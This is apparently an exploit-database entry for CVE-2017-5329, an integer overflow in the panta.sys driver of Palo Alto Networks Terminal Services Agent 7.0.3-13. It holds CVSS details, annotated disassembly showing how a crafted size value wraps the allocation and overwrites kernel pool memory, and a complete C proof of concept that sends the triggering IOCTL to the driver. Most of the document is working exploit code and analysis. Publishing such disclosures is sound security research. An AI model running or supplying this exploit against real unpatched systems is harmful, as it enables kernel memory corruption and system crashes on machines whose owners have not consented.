Palo Alto Networks Terminal Services Agent 7.0.3-13 Integer Overflow

Published
Credit
Risk
2017.01.27
Parvez Anwar
High
CWE
CVE
Local
Remote
N/A
CVE-2017-5329
Yes
No

CVSS Base Score
Impact Subscore
Exploitability Subscore
4.6/10
6.4/10
3.9/10
Exploit range
Attack complexity
Authentication
Local
Low
No required
Confidentiality impact
Integrity impact
Availability impact
Partial
Partial
Partial

/*

Exploit Title - Palo Alto Networks Terminal Services Agent Integer Overflow
Date - 26th January 2017
Discovered by - Parvez Anwar (@parvezghh)
Vendor Homepage - https://www.paloaltonetworks.com/
Tested Version - 7.0.3-13
Driver Version - 6.0.7.0 - panta.sys
Tested on OS - 32bit Windows 7 SP1
CVE ID - CVE-2017-5329
Vendor fix url - https://securityadvisories.paloaltonetworks.com/
https://securityadvisories.paloaltonetworks.com/Home/Detail/71
Fixed Version - 7.0.7 and later
Fixed driver ver - 6.0.8.0


Disassembly
-----------

.text:9A26F0BD loc_9A26F0BD:
.text:9A26F0BD mov ecx, DeviceObject
.text:9A26F0C3 mov dword ptr [ecx+1ACh], 0
.text:9A26F0CD mov edx, DeviceObject
.text:9A26F0D3 mov eax, [edx+1B8h] ; eax points to our inputted buffer
.text:9A26F0D9 mov ecx, [eax+14h] ; Takes size to allocate from our inputted buffer 0x04924925
.text:9A26F0DC imul ecx, 38h ; 0x38 * 0x04924925 = 0x100000018. Wraps round becoming size to allocate 0x18 (Integer Overflow)
.text:9A26F0DF mov [ebp+NumberOfBytes], ecx ; Copy ecx value 0x18 onto stack
.text:9A26F0E2 push 44415450h ; Tag (PTAD string used)
.text:9A26F0E7 mov edx, [ebp+NumberOfBytes] ; Copy size 0x18 to edx
.text:9A26F0EA push edx ; NumberOfBytes
.text:9A26F0EB push 0 ; PoolType
.text:9A26F0ED call ds:ExAllocatePoolWithTag ; If returned null (eax) exits with error cleanly else takes crash path
.text:9A26F0F3 mov ecx, DeviceObject
.text:9A26F0F9 mov [ecx+1B0h], eax
.text:9A26F0FF mov edx, DeviceObject
.text:9A26F105 cmp dword ptr [edx+1B0h], 0 ; Checks return value. If not null then jumps to our crash path
.text:9A26F10C jnz short loc_9A26F13C ; Exits with error cleanly if incorrect size value but not crashable value

.text:9A26F13C
.text:9A26F13C loc_9A26F13C:
.text:9A26F13C mov ecx, [ebp+NumberOfBytes]
.text:9A26F13F push ecx ; 0x18 our allocated pool memory
.text:9A26F140 push 0 ; int, sets allocated memory to 0x00
.text:9A26F142 mov edx, DeviceObject
.text:9A26F148 mov eax, [edx+1B0h]
.text:9A26F14E push eax ; Pointer to our allocated buffer
.text:9A26F14F call memset
.text:9A26F154 add esp, 0Ch
.text:9A26F157 mov [ebp+var_4], 0 ; Null out ebp-4
.text:9A26F15E jmp short loc_9A26F169

.text:9A26F160 loc_9A26F160:
.text:9A26F160 mov ecx, [ebp+var_4]
.text:9A26F163 add ecx, 1 ; Increment counter
.text:9A26F166 mov [ebp+var_4], ecx ; Store counter value

.text:9A26F169 loc_9A26F169:
.text:9A26F169 mov edx, DeviceObject
.text:9A26F16F mov eax, [edx+1B8h] ; eax points to our inputted buffer
.text:9A26F175 mov ecx, [ebp+var_4] ; Loop counter number
.text:9A26F178 cmp ecx, [eax+14h] ; Compares our inputted buffer size 0x04924925. Here our
; size is not using the wrapped value so loops till BSOD
.text:9A26F17B jnb short loc_9A26F19A
.text:9A26F17D mov edx, [ebp+var_4] ; Counter value
.text:9A26F180 imul edx, 38h
.text:9A26F183 mov eax, DeviceObject
.text:9A26F188 mov ecx, [eax+1B0h] ; Pointer to allocated pool copied to ecx
.text:9A26F18E lea edx, [ecx+edx+30h] ; pointer+size(0x38*edx)+0x30
.text:9A26F192 push edx
.text:9A26F193 call sub_9A26C000 ; Starts overwriting other pool allocations !!!
.text:9A26F198 jmp short loc_9A26F160



.text:9A26C000 sub_9A26C000 proc near
.text:9A26C000
.text:9A26C000
.text:9A26C000 arg_0 = dword ptr 8
.text:9A26C000
.text:9A26C000 push ebp
.text:9A26C001 mov ebp, esp
.text:9A26C003 mov eax, [ebp+arg_0] ; Copy allocated buffer pointer (pointer+size(0x38*edx)+0x30) to eax
.text:9A26C006 mov ecx, [ebp+arg_0] ; Copy allocated buffer pointer (pointer+size(0x38*edx)+0x30) to ecx
.text:9A26C009 mov [eax+4], ecx ; Store pointer in allocated buffer at pointer+size(0x38*edx)+0x30+4
.text:9A26C00C mov edx, [ebp+arg_0] ; Copy allocated buffer pointer+size(0x38*edx)+0x30 to edx
.text:9A26C00F mov eax, [ebp+arg_0] ; Copy allocated buffer pointer+size(0x38*edx)+0x30 to eax
.text:9A26C012 mov [edx], eax ; Store pointer in allocated buffer at pointer+size(0x38*edx)+0x30
.text:9A26C014 pop ebp
.text:9A26C015 retn 4
.text:9A26C015 sub_9A26C000 endp



*/



#include <stdio.h>
#include <windows.h>

#define BUFSIZE 44


int main(int argc, char *argv[])
{
HANDLE hDevice;
char devhandle[MAX_PATH];
DWORD dwRetBytes = 0;
unsigned char buffer[BUFSIZE];


memset(buffer, 0x41, BUFSIZE);

printf("\n[i] Size of total input buffer %d bytes", BUFSIZE);

*(DWORD*)(buffer + 20) = 0x04924925;

sprintf(devhandle, "\\\\.\\%s", "panta");

hDevice = CreateFile(devhandle, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL);

if(hDevice == INVALID_HANDLE_VALUE)
{
printf("\n[-] Failed to open device %s\n\n", devhandle);
return -1;
}
else
{
printf("\n[+] Open %s device successful", devhandle);
}

printf("\n[~] Press any key to continue . . .");
getch();

DeviceIoControl(hDevice, 0x88002200, buffer, BUFSIZE, NULL, 0, &dwRetBytes, NULL);

printf("\n");
CloseHandle(hDevice);
return 0;
}

References:

https://securityadvisories.paloaltonetworks.com/Home/Detail/71


See this note in RAW Version

 
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